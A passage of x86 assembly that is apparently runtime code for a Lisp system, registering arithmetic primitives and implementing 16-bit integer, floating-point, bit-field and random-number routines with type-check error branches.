call near ptr inisymb
mov eax,4
mov ebx,offset FLAT:pnmac1513
mov ecx,offset FLAT:fixp
mov edx,offset FLAT:zfixp
push z_fixp
call near ptr inisymb
mov eax,4
mov ebx,offset FLAT:pnmac1514
mov ecx,offset FLAT:flplus
mov edx,offset FLAT:zflplus
push z_flplus
call near ptr inisymb
mov eax,10
mov ebx,offset FLAT:pnmac1515
mov ecx,offset FLAT:fldiff
mov edx,offset FLAT:zfldiff
push z_fldiff
call near ptr inisymb
mov eax,6
mov ebx,offset FLAT:pnmac1516
mov ecx,offset FLAT:fldiff
mov edx,offset FLAT:zfldiff
push z_fldiff
call near ptr inisymb
mov eax,5
mov ebx,offset FLAT:pnmac1517
mov ecx,offset FLAT:fltimes
mov edx,offset FLAT:zfltimes
push z_fltimes
call near ptr inisymb
mov eax,6
mov ebx,offset FLAT:pnmac1518
mov ecx,offset FLAT:flquo
mov edx,offset FLAT:zflquo
push z_flquo
call near ptr inisymb
mov eax,4
mov ebx,offset FLAT:pnmac1519
mov ecx,offset FLAT:lladd1
mov edx,offset FLAT:zlladd1
push z_lladd1
call near ptr inisymb
mov eax,4
mov ebx,offset FLAT:pnmac1520
mov ecx,offset FLAT:llsub1
mov edx,offset FLAT:zllsub1
push z_llsub1
call near ptr inisymb
mov eax,3
mov ebx,offset FLAT:pnmac1521
mov ecx,offset FLAT:lladd
mov edx,offset FLAT:zlladd
push z_lladd
call near ptr inisymb
mov eax,3
mov ebx,offset FLAT:pnmac1522
mov ecx,offset FLAT:llsub
mov edx,offset FLAT:zllsub
push z_llsub
call near ptr inisymb
mov eax,3
mov ebx,offset FLAT:pnmac1523
mov ecx,offset FLAT:llmul
mov edx,offset FLAT:zllmul
push z_llmul
call near ptr inisymb
mov eax,3
mov ebx,offset FLAT:pnmac1524
mov ecx,offset FLAT:ll_div
mov edx,offset FLAT:zll_div
push z_ll_div
call near ptr inisymb
mov eax,3
mov ebx,offset FLAT:pnmac1525
mov ecx,offset FLAT:llrem
mov edx,offset FLAT:zllrem
push z_llrem
call near ptr inisymb
mov eax,3
mov ebx,offset FLAT:pnmac1526
mov ecx,offset FLAT:lleqn
mov edx,offset FLAT:zlleqn
push z_lleqn
call near ptr inisymb
mov eax,4
mov ebx,offset FLAT:pnmac1527
mov ecx,offset FLAT:llneqn
mov edx,offset FLAT:zllneqn
push z_llneqn
call near ptr inisymb
mov eax,2
mov ebx,offset FLAT:pnmac1528
mov ecx,offset FLAT:llge
mov edx,offset FLAT:zllge
push z_llge
call near ptr inisymb
mov eax,2
mov ebx,offset FLAT:pnmac1529
mov ecx,offset FLAT:llgt
mov edx,offset FLAT:zllgt
push z_llgt
call near ptr inisymb
mov eax,2
mov ebx,offset FLAT:pnmac1530
mov ecx,offset FLAT:llle
mov edx,offset FLAT:zllle
push z_llle
call near ptr inisymb
mov eax,2
mov ebx,offset FLAT:pnmac1531
mov ecx,offset FLAT:lllt
mov edx,offset FLAT:zlllt
push z_lllt
call near ptr inisymb
mov eax,4
mov ebx,offset FLAT:pnmac1532
mov ecx,offset FLAT:llimin
mov edx,offset FLAT:zllimin
push z_llimin
call near ptr inisymb
mov eax,4
mov ebx,offset FLAT:pnmac1533
mov ecx,offset FLAT:llimax
mov edx,offset FLAT:zllimax
push z_llimax
call near ptr inisymb
mov eax,4
mov ebx,offset FLAT:pnmac1534
mov ecx,offset FLAT:llfadd
mov edx,offset FLAT:zllfadd
push z_llfadd
call near ptr inisymb
mov eax,4
mov ebx,offset FLAT:pnmac1535
mov ecx,offset FLAT:llfsub
mov edx,offset FLAT:zllfsub
push z_llfsub
call near ptr inisymb
mov eax,4
mov ebx,offset FLAT:pnmac1536
mov ecx,offset FLAT:llfmul
mov edx,offset FLAT:zllfmul
push z_llfmul
call near ptr inisymb
mov eax,4
mov ebx,offset FLAT:pnmac1537
mov ecx,offset FLAT:llfdiv
mov edx,offset FLAT:zllfdiv
push z_llfdiv
call near ptr inisymb
mov eax,4
mov ebx,offset FLAT:pnmac1538
mov ecx,offset FLAT:llfeqn
mov edx,offset FLAT:zllfeqn
push z_llfeqn
call near ptr inisymb
mov eax,5
mov ebx,offset FLAT:pnmac1539
mov ecx,offset FLAT:llfneqn
mov edx,offset FLAT:zllfneqn
push z_llfneqn
call near ptr inisymb
mov eax,3
mov ebx,offset FLAT:pnmac1540
mov ecx,offset FLAT:llfge
mov edx,offset FLAT:zllfge
push z_llfge
call near ptr inisymb
mov eax,3
mov ebx,offset FLAT:pnmac1541
mov ecx,offset FLAT:llfgt
mov edx,offset FLAT:zllfgt
push z_llfgt
call near ptr inisymb
mov eax,3
mov ebx,offset FLAT:pnmac1542
mov ecx,offset FLAT:llfle
mov edx,offset FLAT:zllfle
push z_llfle
call near ptr inisymb
mov eax,3
mov ebx,offset FLAT:pnmac1543
mov ecx,offset FLAT:llflt
mov edx,offset FLAT:zllflt
push z_llflt
call near ptr inisymb
mov eax,4
mov ebx,offset FLAT:pnmac1544
mov ecx,offset FLAT:llfmin
mov edx,offset FLAT:zllfmin
push z_llfmin
call near ptr inisymb
mov eax,4
mov ebx,offset FLAT:pnmac1545
mov ecx,offset FLAT:llfmax
mov edx,offset FLAT:zllfmax
push z_llfmax
call near ptr inisymb
mov ebp,dword ptr [zkllcp]
mov dword ptr [cpkgc],ebp
mov eax,8
mov ebx,offset FLAT:pnmac1546
mov ecx,offset FLAT:clllsht
mov edx,offset FLAT:zclllsht
push z_clllsht
call near ptr inisymb
mov eax,3
mov ebx,offset FLAT:pnmac1547
mov ecx,offset FLAT:cllmul
mov edx,offset FLAT:zcllmul
push z_cllmul
call near ptr inisymb
mov eax,3
mov ebx,offset FLAT:pnmac1548
mov ecx,offset FLAT:clldiv
mov edx,offset FLAT:zclldiv
push z_clldiv
call near ptr inisymb
mov eax,3
mov ebx,offset FLAT:pnmac1549
mov ecx,offset FLAT:cllrem
mov edx,offset FLAT:zcllrem
push z_cllrem
call near ptr inisymb
mov eax,4
mov ebx,offset FLAT:pnmac1550
mov ecx,offset FLAT:cllfadd
mov edx,offset FLAT:zcllfadd
push z_cllfadd
call near ptr inisymb
mov eax,4
mov ebx,offset FLAT:pnmac1551
mov ecx,offset FLAT:cllfsub
mov edx,offset FLAT:zcllfsub
push z_cllfsub
call near ptr inisymb
mov eax,4
mov ebx,offset FLAT:pnmac1552
mov ecx,offset FLAT:cllfmul
mov edx,offset FLAT:zcllfmul
push z_cllfmul
call near ptr inisymb
mov eax,4
mov ebx,offset FLAT:pnmac1553
mov ecx,offset FLAT:cllfdiv
mov edx,offset FLAT:zcllfdiv
push z_cllfdiv
call near ptr inisymb
mov eax,4
mov ebx,offset FLAT:pnmac1554
mov ecx,offset FLAT:cllfeqn
mov edx,offset FLAT:zcllfeqn
push z_cllfeqn
call near ptr inisymb
mov eax,5
mov ebx,offset FLAT:pnmac1555
mov ecx,offset FLAT:cllfneqn
mov edx,offset FLAT:zcllfneqn
push z_cllfneqn
call near ptr inisymb
mov eax,3
mov ebx,offset FLAT:pnmac1556
mov ecx,offset FLAT:cllfge
mov edx,offset FLAT:zcllfge
push z_cllfge
call near ptr inisymb
mov eax,3
mov ebx,offset FLAT:pnmac1557
mov ecx,offset FLAT:cllfgt
mov edx,offset FLAT:zcllfgt
push z_cllfgt
call near ptr inisymb
mov eax,3
mov ebx,offset FLAT:pnmac1558
mov ecx,offset FLAT:cllfle
mov edx,offset FLAT:zcllfle
push z_cllfle
call near ptr inisymb
mov eax,3
mov ebx,offset FLAT:pnmac1559
mov ecx,offset FLAT:cllflt
mov edx,offset FLAT:zcllflt
push z_cllflt
call near ptr inisymb
mov dword ptr [cpkgc],esi
mov eax,6
mov ebx,offset FLAT:pnmac1560
mov ecx,offset FLAT:zexcarry
call near ptr inicst
mov dword ptr [eax],0
mov ebp,dword ptr [zex]
mov dword ptr [12+eax],ebp
mov eax,3
mov ebx,offset FLAT:pnmac1561
mov ecx,offset FLAT:exadd
mov edx,offset FLAT:zexadd
push z_exadd
call near ptr inisymb
mov eax,4
mov ebx,offset FLAT:pnmac1562
mov ecx,offset FLAT:exincr
mov edx,offset FLAT:zexincr
push z_exincr
call near ptr inisymb
mov eax,3
mov ebx,offset FLAT:pnmac1563
mov ecx,offset FLAT:exinv
mov edx,offset FLAT:zexinv
push z_exinv
call near ptr inisymb
mov eax,3
mov ebx,offset FLAT:pnmac1564
mov ecx,offset FLAT:exmul
mov edx,offset FLAT:zexmul
push z_exmul
call near ptr inisymb
mov eax,3
mov ebx,offset FLAT:pnmac1565
mov ecx,offset FLAT:exdiv
mov edx,offset FLAT:zexdiv
push z_exdiv
call near ptr inisymb
mov eax,3
mov ebx,offset FLAT:pnmac1566
mov ecx,offset FLAT:excomp
mov edx,offset FLAT:zexcomp
push z_excomp
call near ptr inisymb
ret
nfalse label near
mov eax,esi
ret
rzero label near
xor eax,eax
ret
rone label near
mov eax,1
ret
banfix3 label near
mov ebx,ecx
banfix2 label near
mov eax,ebx
banfix1 label near
mov ebx,edx
jmp near ptr errnia
banflt2 label near
mov eax,ebx
banflt1 label near
mov ebx,edx
jmp near ptr errnfa
banmix2 label near
mov eax,ebx
banmix1 label near
mov ebx,edx
jmp near ptr errnna
ban0dv label near
mov ebx,edx
xor eax,eax
jmp near ptr err0dv
banwna label near
mov eax,ecx
mov ebx,edx
jmp near ptr errwna
ini_snb endp
oddp proc near
mov edx,dword ptr [zoddp]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
mov ebx,eax
and bx,1
or bx,bx
je near ptr nfalse
ret
oddp endp
evenp proc near
mov edx,dword ptr [zevenp]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
mov ebx,eax
and bx,1
or bx,bx
jne near ptr nfalse
ret
evenp endp
lleqn proc near
mov edx,dword ptr [zlleqn]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
cmp dword ptr [bfloat],ebx
jbe near ptr banfix2
cmp ax,bx
jne near ptr nfalse
ret
lleqn endp
llneqn proc near
mov edx,dword ptr [zllneqn]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
cmp dword ptr [bfloat],ebx
jbe near ptr banfix2
cmp ax,bx
je near ptr nfalse
ret
llneqn endp
llgt proc near
mov edx,dword ptr [zllgt]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
cmp dword ptr [bfloat],ebx
jbe near ptr banfix2
cmp ax,bx
jle near ptr nfalse
ret
llgt endp
llge proc near
mov edx,dword ptr [zllge]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
cmp dword ptr [bfloat],ebx
jbe near ptr banfix2
cmp ax,bx
jl near ptr nfalse
ret
llge endp
lllt proc near
mov edx,dword ptr [zlllt]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
cmp dword ptr [bfloat],ebx
jbe near ptr banfix2
cmp ax,bx
jge near ptr nfalse
ret
lllt endp
llle proc near
mov edx,dword ptr [zllle]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
cmp dword ptr [bfloat],ebx
jbe near ptr banfix2
cmp ax,bx
jg near ptr nfalse
ret
llle endp
llimin proc near
mov edx,dword ptr [zllimin]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
cmp dword ptr [bfloat],ebx
jbe near ptr banfix2
cmp ax,bx
jle near ptr lliminr
mov eax,ebx
lliminr label near
ret
llimin endp
llimax proc near
mov edx,dword ptr [zllimax]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
cmp dword ptr [bfloat],ebx
jbe near ptr banfix2
cmp ax,bx
jg near ptr llimaxr
mov eax,ebx
llimaxr label near
ret
llimax endp
lladd1 proc near
mov edx,dword ptr [zlladd1]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
inc ax
lla1ret label near
ret
lladd1 endp
llsub1 proc near
mov edx,dword ptr [zllsub1]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
dec ax
lls1ret label near
ret
llsub1 endp
lladd proc near
mov edx,dword ptr [zlladd]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
cmp dword ptr [bfloat],ebx
jbe near ptr banfix2
add ax,bx
jo near ptr lladdret
lladdret label near
ret
lladd endp
llsub proc near
mov edx,dword ptr [zllsub]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
cmp dword ptr [bfloat],ebx
jbe near ptr banfix2
sub ax,bx
jo near ptr llsubret
llsubret label near
ret
llsub endp
llmul proc near
mov edx,dword ptr [zllmul]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
cmp dword ptr [bfloat],ebx
jbe near ptr banfix2
imul ax,bx
jo near ptr llmulret
llmulret label near
ret
llmul endp
ll_div proc near
mov edx,dword ptr [zll_div]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
cmp dword ptr [bfloat],ebx
jbe near ptr banfix2
or bx,bx
je near ptr ban0dv
or ebx,ebx
jz near ptr lldivret
push edx
cwd
idiv bx
movzx eax,ax
pop edx
l9__1:
lldivret label near
ret
ll_div endp
llrem proc near
mov edx,dword ptr [zllrem]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
cmp dword ptr [bfloat],ebx
jbe near ptr banfix2
or bx,bx
je near ptr ban0dv
or ebx,ebx
jz short l9__2
push edx
cwd
idiv bx
movzx eax,dx
pop edx
l9__2:
ret
llrem endp
scale proc near
mov edx,dword ptr [zscale]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
cmp dword ptr [bfloat],ebx
jbe near ptr banfix2
cmp dword ptr [bfloat],ecx
jbe near ptr banfix3
or cx,cx
je near ptr ban0dv
xor edx,edx
or ax,ax
jge near ptr scale1
neg ax
inc dx
scale1 label near
or bx,bx
jge near ptr scale2
neg bx
inc dx
scale2 label near
or cx,cx
jge near ptr scale3
neg cx
inc dx
scale3 label near
mov ebp,eax
imul ebp,ebx
movzx ebx,bp
shr ebp,16
mov eax,ebp
xchg eax,edx
xchg ebx,eax
shl edx,16
add eax,edx
xor edx,edx
div ecx
xchg ebx,edx
or dx,dx
je near ptr scale4
cmp dx,2
je near ptr scale4
neg ax
scale4 label near
ret
scale endp
llsrandom proc near
mov ecx,edx
mov edx,dword ptr [zllsrandom]
or cx,cx
je near ptr srand1
cmp cx,1
je near ptr srand0
jmp near ptr banwna
srand0 label near
pop eax
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
push edx
cwd
mov ebp,31213
idiv bp
movzx eax,dx
pop edx
l9__3:
mov dword ptr [randseed],eax
srand1 label near
mov eax,dword ptr [randseed]
ret
llsrandom endp
llrandom proc near
mov edx,dword ptr [zllrandom]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
cmp dword ptr [bfloat],ebx
jbe near ptr banfix2
cmp ax,bx
je near ptr random1
cmp ax,bx
jl near ptr random2
mov ecx,eax
mov eax,ebx
mov ebx,ecx
random2 label near
sub bx,ax
random3 label near
mov ecx,dword ptr [randseed]
mov ebp,ecx
imul ebp,92
add ebp,2731
movzx edx,bp
shr ebp,16
mov ecx,ebp
xchg edx,eax
xchg ecx,edx
mov ebp,31213
div bp
xchg ecx,eax
mov dword ptr [randseed],edx
mov ebp,edx
imul ebp,ebx
movzx edx,bp
shr ebp,16
mov ecx,ebp
xchg edx,eax
xchg ecx,edx
mov ebp,31213
div bp
xchg ecx,eax
cmp cx,bx
jg near ptr random3
add ax,cx
random1 label near
ret
llrandom endp
lognot proc near
mov edx,dword ptr [zlognot]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
xor ax,(65536+-1)
ret
lognot endp
logand proc near
mov edx,dword ptr [zlogand]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
cmp dword ptr [bfloat],ebx
jbe near ptr banfix2
and ax,bx
ret
logand endp
logor proc near
mov edx,dword ptr [zlogor]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
cmp dword ptr [bfloat],ebx
jbe near ptr banfix2
or ax,bx
ret
logor endp
logxor proc near
mov edx,dword ptr [zlogxor]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
cmp dword ptr [bfloat],ebx
jbe near ptr banfix2
xor ax,bx
ret
logxor endp
logshift proc near
mov edx,dword ptr [zlogshift]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
cmp dword ptr [bfloat],ebx
jbe near ptr banfix2
xchg ebx,ecx
or cl,cl
jl short l1__4
shl ax,cl
jmp short l2__4
l1__4:
neg cl
shr ax,cl
l2__4:
xchg ebx,ecx
ret
logshift endp
dpn proc near
mov edx,dword ptr [zdpn]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
mov ebx,eax
mov eax,1
xchg ebx,ecx
or cl,cl
jl short l1__5
shl ax,cl
jmp short l2__5
l1__5:
neg cl
shr ax,cl
l2__5:
xchg ebx,ecx
ret
dpn endp
mskfield proc near
mov edx,dword ptr [zmskfield]
mskf0 label near
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
cmp dword ptr [bfloat],ebx
jbe near ptr banfix2
cmp dword ptr [bfloat],ecx
jbe near ptr banfix3
mov edx,1
or cl,cl
jl short l1__6
shl dx,cl
jmp short l2__6
l1__6:
neg cl
shr dx,cl
l2__6:
dec dx
mskf1 label near
xchg ebx,ecx
or cl,cl
jl short l1__7
shl dx,cl
jmp short l2__7
l1__7:
neg cl
shr dx,cl
l2__7:
xchg ebx,ecx
and ax,dx
ret
mskfield endp
ldbyte proc near
mov edx,dword ptr [zldbyte]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
cmp dword ptr [bfloat],ebx
jbe near ptr banfix2
cmp dword ptr [bfloat],ecx
jbe near ptr banfix3
mov edx,1
or cl,cl
jl short l1__8
shl dx,cl
jmp short l2__8
l1__8:
neg cl
shr dx,cl
l2__8:
dec dx
ldby1 label near
neg bx
xchg ebx,ecx
or cl,cl
jl short l1__9
shl ax,cl
jmp short l2__9
l1__9:
neg cl
shr ax,cl
l2__9:
xchg ebx,ecx
and ax,dx
ret
ldbyte endp
ldbt proc near
mov edx,dword ptr [zldbt]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
cmp dword ptr [bfloat],ebx
jbe near ptr banfix2
cmp dword ptr [bfloat],ecx
jbe near ptr banfix3
mov edx,1
or cl,cl
jl short l1__10
shl dx,cl
jmp short l2__10
l1__10:
neg cl
shr dx,cl
l2__10:
dec dx
ldbt1 label near
neg bx
xchg ebx,ecx
or cl,cl
jl short l1__11
shl ax,cl
jmp short l2__11
l1__11:
neg cl
shr ax,cl
l2__11:
xchg ebx,ecx
and ax,dx
or ax,ax
je near ptr nfalse
ret
ldbt endp
dpbyte proc near
mov ecx,edx
mov edx,dword ptr [zdpbyte]
jmp near ptr dpfi0
dpbyte endp
dpfield proc near
mov ecx,edx
mov edx,dword ptr [zdpfield]
dpfi0 label near
cmp cx,4
jne near ptr banwna
mov eax,dword ptr [esp+12]
cmp dword ptr [bfloat],eax
jbe near ptr banfix1
pop eax
pop ecx
pop ebx
cmp edx,dword ptr [zdpfield]
je near ptr dpfi1
xchg ebx,ecx
or cl,cl
jl short l1__12
shl ax,cl
jmp short l2__12
l1__12:
neg cl
shr ax,cl
l2__12:
xchg ebx,ecx
dpfi1 label near
call near ptr mskf0
pop ebx
xor dx,(65536+-1)
and bx,dx
or ax,bx
ret
dpfield endp
llfeqn proc near
mov edx,dword ptr [zllfeqn]
cmp dword ptr [bfloat],eax
ja near ptr banflt1
cmp dword ptr [bvect],eax
jbe near ptr banflt1
cmp dword ptr [bfloat],ebx
ja near ptr banflt2
cmp dword ptr [bvect],ebx
jbe near ptr banflt2
fld qword ptr [eax]
push eax
fcomp qword ptr [ebx]
fstsw ax
sahf
pop eax
jne near ptr nfalse
ret
llfeqn endp
llfneqn proc near
mov edx,dword ptr [zllfneqn]
cmp dword ptr [bfloat],eax
ja near ptr banflt1
cmp dword ptr [bvect],eax
jbe near ptr banflt1
cmp dword ptr [bfloat],ebx
ja near ptr banflt2
cmp dword ptr [bvect],ebx
jbe near ptr banflt2
fld qword ptr [eax]
push eax
fcomp qword ptr [ebx]
fstsw ax
sahf
pop eax
je near ptr nfalse
ret
llfneqn endp
llfgt proc near
mov edx,dword ptr [zllfgt]
cmp dword ptr [bfloat],eax
ja near ptr banflt1
cmp dword ptr [bvect],eax
jbe near ptr banflt1
cmp dword ptr [bfloat],ebx
ja near ptr banflt2
cmp dword ptr [bvect],ebx
jbe near ptr banflt2
fld qword ptr [eax]
push eax
fcomp qword ptr [ebx]
fstsw ax
sahf
pop eax
jbe near ptr nfalse
ret
llfgt endp
llfge proc near
mov edx,dword ptr [zllfge]
cmp dword ptr [bfloat],eax
ja near ptr banflt1
cmp dword ptr [bvect],eax
jbe near ptr banflt1
cmp dword ptr [bfloat],ebx
ja near ptr banflt2
cmp dword ptr [bvect],ebx
jbe near ptr banflt2
fld qword ptr [eax]
push eax
fcomp qword ptr [ebx]
fstsw ax
sahf
pop eax
jb near ptr nfalse
ret
llfge endp
llflt proc near
mov edx,dword ptr [zllflt]
cmp dword ptr [bfloat],eax
ja near ptr banflt1
cmp dword ptr [bvect],eax
jbe near ptr banflt1
cmp dword ptr [bfloat],ebx
ja near ptr banflt2
cmp dword ptr [bvect],ebx
jbe near ptr banflt2
fld qword ptr [eax]
push eax
fcomp qword ptr [ebx]
fstsw ax
sahf
pop eax
jae near ptr nfalse
ret
llflt endp
llfle proc near
mov edx,dword ptr [zllfle]
cmp dword ptr [bfloat],eax
ja near ptr banflt1
cmp dword ptr [bvect],eax
jbe near ptr banflt1
cmp dword ptr [bfloat],ebx
ja near ptr banflt2
cmp dword ptr [bvect],ebx
jbe near ptr banflt2
fld qword ptr [eax]
push eax
fcomp qword ptr [ebx]
fstsw ax
sahf
pop eax
ja near ptr nfalse
ret
llfle endp
llfmin proc near
mov edx,dword ptr [zllfmin]
cmp dword ptr [bfloat],eax
ja near ptr banflt1
cmp dword ptr [bvect],eax
jbe near ptr banflt1
cmp dword ptr [bfloat],ebx
ja near ptr banflt2
cmp dword ptr [bvect],ebx
jbe near ptr banflt2
fld qword ptr [eax]
push eax
fcomp qword ptr [ebx]
fstsw ax
sahf
pop eax
jbe near ptr llfminr
mov eax,ebx
llfminr label near
ret
llfmin endp
llfmax proc near
mov edx,dword ptr [zllfmax]
cmp dword ptr [bfloat],eax
ja near ptr banflt1
cmp dword ptr [bvect],eax
jbe near ptr banflt1
cmp dword ptr [bfloat],ebx
ja near ptr banflt2
cmp dword ptr [bvect],ebx
jbe near ptr banflt2
fld qword ptr [eax]
push eax
fcomp qword ptr [ebx]
fstsw ax
sahf
pop eax
ja near ptr llfmaxr
mov eax,ebx
llfmaxr label near
ret
llfmax endp
llfadd proc near
mov edx,dword ptr [zllfadd]
cmp dword ptr [bfloat],eax
ja near ptr banflt1
cmp dword ptr [bvect],eax
jbe near ptr banflt1
cmp dword ptr [bfloat],ebx
ja near ptr banflt2
cmp dword ptr [bvect],ebx
jbe near ptr banflt2
fld qword ptr [ebx]
fadd qword ptr [eax]
cmp dword ptr [ffloat],0
jne short laf__13
call near ptr gcfloat
laf__13:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov eax,ebp
fstp qword ptr [ebp]
fwait
ret
llfadd endp
llfsub proc near
mov edx,dword ptr [zllfsub]
cmp dword ptr [bfloat],eax
ja near ptr banflt1
cmp dword ptr [bvect],eax
jbe near ptr banflt1
cmp dword ptr [bfloat],ebx
ja near ptr banflt2
cmp dword ptr [bvect],ebx
jbe near ptr banflt2
fld qword ptr [ebx]
fsubr qword ptr [eax]
cmp dword ptr [ffloat],0
jne short laf__14
call near ptr gcfloat
laf__14:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov eax,ebp
fstp qword ptr [ebp]
fwait
ret
llfsub endp
llfmul proc near
mov edx,dword ptr [zllfmul]
cmp dword ptr [bfloat],eax
ja near ptr banflt1
cmp dword ptr [bvect],eax
jbe near ptr banflt1
cmp dword ptr [bfloat],ebx
ja near ptr banflt2
cmp dword ptr [bvect],ebx
jbe near ptr banflt2
fld qword ptr [ebx]
fmul qword ptr [eax]
cmp dword ptr [ffloat],0
jne short laf__15
call near ptr gcfloat
laf__15:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov eax,ebp
fstp qword ptr [ebp]
fwait
ret
llfmul endp
llfdiv proc near
mov edx,dword ptr [zllfdiv]
cmp dword ptr [bfloat],eax
ja near ptr banflt1
cmp dword ptr [bvect],eax
jbe near ptr banflt1
cmp dword ptr [bfloat],ebx
ja near ptr banflt2
cmp dword ptr [bvect],ebx
jbe near ptr banflt2
fld qword ptr [ebx]
push eax
mov ebp,dword ptr [fzero]
fcomp qword ptr [ebp]
fstsw ax
sahf
pop eax
je near ptr ban0dv
fld qword ptr [ebx]
fdivr qword ptr [eax]
cmp dword ptr [ffloat],0
jne short laf__16
call near ptr gcfloat
laf__16:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov eax,ebp
fstp qword ptr [ebp]
fwait
ret
llfdiv endp
clllsht proc near
xchg dword ptr [esp],ecx
or cl,cl
jl short l1__17
shl word ptr [esp+4*2],cl
jmp short l2__17
l1__17:
neg cl
shr word ptr [esp+4*2],cl
l2__17:
xchg dword ptr [esp],ecx
add esp,4
ret
clllsht endp
cllmul proc near
mov ebp,dword ptr [esp+4*2]
imul bp,word ptr [esp]
mov dword ptr [esp+4*2],ebp
add esp,4
ret
cllmul endp
clldiv proc near
;; Patch on DIV/REM used
mov ebp,esp
cmp dword ptr [esp],0
jz short l9__18
push eax
push edx
mov eax,dword ptr [esp+4*2]
cwd
idiv word ptr [esp]
push edi
mov edi,dword ptr [esp+4*2]
movzx edi,ax
mov dword ptr [esp+4*2],edi
pop edi
pop edx
pop eax
l9__18:
add esp,4
ret
clldiv endp
cllrem proc near
;; Patch on DIV/REM used
mov ebp,esp
cmp dword ptr [esp],0
jz short l9__19
push eax
push edx
mov eax,dword ptr [esp+4*2]
cwd
idiv word ptr [esp]
push edi
mov edi,dword ptr [esp+4*2]
movzx edi,dx
mov dword ptr [esp+4*2],edi
pop edi
pop edx
pop eax
l9__19:
add esp,4
ret
cllrem endp
cllfadd proc near
mov ebp,dword ptr [esp]
fld qword ptr [ebp]
mov ebp,dword ptr [esp+4*2]
fadd qword ptr [ebp]
cmp dword ptr [ffloat],0
jne short laf__20
call near ptr gcfloat
laf__20:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov dword ptr [esp+4*2],ebp
fstp qword ptr [ebp]
fwait
add esp,4
ret
cllfadd endp
cllfsub proc near
mov ebp,dword ptr [esp]
fld qword ptr [ebp]
mov ebp,dword ptr [esp+4*2]
fsubr qword ptr [ebp]
cmp dword ptr [ffloat],0
jne short laf__21
call near ptr gcfloat
laf__21:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov dword ptr [esp+4*2],ebp
fstp qword ptr [ebp]
fwait
add esp,4
ret
cllfsub endp
cllfmul proc near
mov ebp,dword ptr [esp]
fld qword ptr [ebp]
mov ebp,dword ptr [esp+4*2]
fmul qword ptr [ebp]
cmp dword ptr [ffloat],0
jne short laf__22
call near ptr gcfloat
laf__22:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov dword ptr [esp+4*2],ebp
fstp qword ptr [ebp]
fwait
add esp,4
ret
cllfmul endp
cllfdiv proc near
mov ebp,dword ptr [esp]
fld qword ptr [ebp]
mov ebp,dword ptr [esp+4*2]
fdivr qword ptr [ebp]
cmp dword ptr [ffloat],0
jne short laf__23
call near ptr gcfloat
laf__23:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov dword ptr [esp+4*2],ebp
fstp qword ptr [ebp]
fwait
add esp,4
ret
cllret1 label near
mov dword ptr [esp+4*2],1
add esp,4
ret
cllfdiv endp
cllfeqn proc near
mov ebp,esp
mov ebp,dword ptr [ebp]
fld qword ptr [ebp]
push eax
mov ebp,dword ptr [ebp+4*2]
fcomp qword ptr [ebp]
fstsw ax
sahf
pop eax
je near ptr cllret1
mov dword ptr [esp+4*2],0
add esp,4
ret
cllfeqn endp
cllfneqn proc near
mov ebp,esp
mov ebp,dword ptr [ebp]
fld qword ptr [ebp]
push eax
mov ebp,dword ptr [ebp+4*2]
fcomp qword ptr [ebp]
fstsw ax
sahf
pop eax
jne near ptr cllret1
mov dword ptr [esp+4*2],0
add esp,4
ret
cllfneqn endp
cllfgt proc near
mov ebp,esp
mov ebp,dword ptr [ebp]
fld qword ptr [ebp]
push eax
mov ebp,dword ptr [ebp+4*2]
fcomp qword ptr [ebp]
fstsw ax
sahf
pop eax
ja near ptr cllret1
mov dword ptr [esp+4*2],0
add esp,4
ret
cllfgt endp
cllfge proc near
mov ebp,esp
mov ebp,dword ptr [ebp]
fld qword ptr [ebp]
push eax
mov ebp,dword ptr [ebp+4*2]
fcomp qword ptr [ebp]
fstsw ax
sahf
pop eax
jae near ptr cllret1
mov dword ptr [esp+4*2],0
add esp,4
ret
cllfge endp
cllflt proc near
mov ebp,esp
mov ebp,dword ptr [ebp]
fld qword ptr [ebp]
push eax
mov ebp,dword ptr [ebp+4*2]
fcomp qword ptr [ebp]
fstsw ax
sahf
pop eax
jb near ptr cllret1
mov dword ptr [esp+4*2],0
add esp,4
ret
cllflt endp
cllfle proc near
mov ebp,esp
mov ebp,dword ptr [ebp]
fld qword ptr [ebp]
push eax
mov ebp,dword ptr [ebp+4*2]
fcomp qword ptr [ebp]
fstsw ax
sahf
pop eax
jbe near ptr cllret1
